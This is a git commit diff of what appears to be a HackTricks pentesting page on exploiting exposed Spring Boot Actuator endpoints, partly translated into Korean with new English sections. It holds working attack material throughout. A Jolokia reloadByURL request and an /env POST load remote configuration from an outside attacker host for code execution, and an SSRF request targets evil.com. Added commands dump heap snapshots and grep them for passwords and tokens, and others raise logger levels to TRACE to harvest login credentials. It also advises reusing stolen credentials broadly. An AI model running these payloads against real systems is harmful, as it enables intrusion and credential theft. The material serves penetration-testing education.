Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

This commit is contained in:
Translator 2025-09-03 16:57:31 +00:00
parent 18d3628a71
commit 409bc1349c
2 changed files with 401 additions and 300 deletions

File diff suppressed because it is too large Load Diff

View File

@ -6,30 +6,30 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
**출처** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Exploiting Spring Boot Actuators
## Spring Boot Actuators 악용
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**원본 게시물 확인:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Key Points:**
### **핵심 요약:**
- Spring Boot Actuators는 `/health`, `/trace`, `/beans`, `/env`의 엔드포인트를 등록합니다. 1부터 1.4 버전까지는 이러한 엔드포인트에 인증 없이 접근할 수 있습니다. 1.5 버전부터는 기본적으로 `/health``/info`만 비민감하지만, 개발자들이 종종 이 보안을 비활성화합니다.
- 특정 Actuator 엔드포인트는 민감한 데이터를 노출하거나 해로운 작업을 허용할 수 있습니다:
- Spring Boot Actuators는 `/health`, `/trace`, `/beans`, `/env`과 같은 엔드포인트를 등록합니다. 버전 1 ~ 1.4에서는 이러한 엔드포인트가 인증 없이 접근 가능했습니다. 1.5 이상부터는 기본적으로 `/health``/info`만 비민감으로 설정되지만, 개발자들이 종종 이 보안을 비활성화합니다.
- 특정 Actuator 엔드포인트는 민감한 데이터를 노출하거나 위험한 동작을 허용할 수 있습니다:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, 및 `/heapdump`.
- Spring Boot 1.x에서는 액추에이터가 루트 URL 아래에 등록되지만, 2.x에서는 `/actuator/` 기본 경로 아래에 있습니다.
- Spring Boot 1.x에서는 actuator가 루트 URL 아래에 등록되는 반면, 2.x에서는 `/actuator/` 베이스 경로 아래에 있습니다.
### **Exploitation Techniques:**
### **공격 기법:**
1. **Remote Code Execution via '/jolokia'**:
- `/jolokia` 액추에이터 엔드포인트는 Jolokia 라이브러리를 노출하여 MBeans에 대한 HTTP 접근을 허용합니다.
- `reloadByURL` 작업은 외부 URL에서 로깅 구성을 다시 로드하도록 악용될 수 있으며, 이는 블라인드 XXE 또는 조작된 XML 구성을 통한 원격 코드 실행으로 이어질 수 있습니다.
- 예시 악용 URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
- `/jolokia` actuator 엔드포인트는 Jolokia Library를 노출하며, 이를 통해 MBeans에 HTTP로 접근할 수 있습니다.
- `reloadByURL` 액션은 외부 URL에서 로깅 구성을 재로드하도록 악용될 수 있으며, 조작된 XML 구성으로 blind XXE 또는 Remote Code Execution으로 이어질 수 있습니다.
- 예제 익스플로잇 URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- Spring Cloud Libraries가 존재하는 경우, `/env` 엔드포인트는 환경 속성을 수정할 수 있습니다.
- 속성은 Eureka serviceURL의 XStream 역직렬화 취약점을 악용하기 위해 조작될 수 있습니다.
- 예시 악용 POST 요청:
- Spring Cloud Libraries가 존재하는 경우, `/env` 엔드포인트를 통해 환경 속성(environmental properties)을 수정할 수 있습니다.
- 속성들을 조작하여 Eureka의 serviceURL 같은 곳의 XStream deserialization 취약점 등 여러 취약점을 악용할 수 있습니다.
- 예제 exploit POST 요청:
```
POST /env HTTP/1.1
@ -41,24 +41,100 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Other Useful Settings**:
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, 및 `spring.datasource.tomcat.max-active`와 같은 속성은 SQL 인젝션 또는 데이터베이스 연결 문자열 변경과 같은 다양한 악용을 위해 조작될 수 있습니다.
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, 및 `spring.datasource.tomcat.max-active` 같은 속성들은 SQL 인젝션이나 데이터베이스 연결 문자열 변경 등 다양한 익스플로잇에 활용될 수 있습니다.
### **Additional Information:**
### **추가 정보:**
- 기본 액추에이터의 포괄적인 목록은 [여기](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)에서 확인할 수 있습니다.
- Spring Boot 2.x의 `/env` 엔드포인트는 속성 수정을 위해 JSON 형식을 사용하지만, 일반 개념은 동일하게 유지됩니다.
- 기본 actuator 목록 전체는 [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)에서 확인할 수 있습니다.
- Spring Boot 2.x의 `/env` 엔드포인트는 속성 수정을 위해 JSON 포맷을 사용하지만, 기본 개념은 동일합니다.
### **Related Topics:**
### **관련 주제:**
1. **Env + H2 RCE**:
- `/env` 엔드포인트와 H2 데이터베이스의 조합을 악용하는 방법에 대한 자세한 내용은 [여기](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)에서 확인할 수 있습니다.
- `/env` 엔드포인트와 H2 데이터베이스의 조합을 이용한 익스플로잇에 대한 세부 정보는 [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)에서 확인할 수 있습니다.
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Spring 프레임워크의 HTTP 경로 이름에서 매트릭스 매개변수(`;`) 처리 방식은 서버 측 요청 위조(SSRF)를 악용할 수 있습니다.
- 예시 악용 요청:
- HTTP 경로명에서의 matrix parameter(`;`) 처리 방식의 오작동은 SSRF를 유발할 수 있습니다.
- 예제 익스플로잇 요청:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## HeapDump secrets mining (credentials, tokens, internal URLs)
If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
- Download and quick triage:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Deeper analysis with VisualVM and OQL:
- Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```
- Automated extraction with JDumpSpider:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Typical high-value findings:
- Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`.
- `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`).
- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.
팁:
- Actuator 엔드포인트를 빠르게 찾으려면 Spring 중심의 워드리스트를 사용하세요 (예: SecLists spring-boot.txt). 또한 `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, `/actuator/configprops` 등이 노출되어 있는지 항상 확인합니다.
- heapdump에서 얻은 Credentials는 인접한 서비스나 때로는 시스템 사용자(SSH)에도 통하는 경우가 많으니 광범위하게 시도해 보세요.
## Abusing Actuator loggers/logging to capture credentials
If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).
- Enumerate and crank up sensitive loggers:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```
- Find where logs are written and harvest:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.
노트:
- 작업이 끝나면 로그 레벨을 리셋하세요: `POST /actuator/loggers/<logger>``{ "configuredLevel": null }` 를 전송합니다.
- `/actuator/httpexchanges`가 노출되어 있으면 최근 요청 메타데이터가 노출되어 민감한 헤더를 포함할 수 있습니다.
## References
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
- [0xdf HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
{{#include ../../banners/hacktricks-training.md}}